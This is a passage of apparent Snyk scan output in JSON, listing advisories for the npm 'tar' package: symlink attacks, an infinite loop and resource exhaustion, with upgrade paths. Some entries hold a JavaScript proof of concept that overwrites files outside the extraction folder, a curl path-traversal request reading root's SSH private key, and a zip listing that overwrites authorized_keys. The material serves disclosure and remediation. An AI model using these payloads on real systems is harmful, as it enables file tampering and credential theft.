"2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an 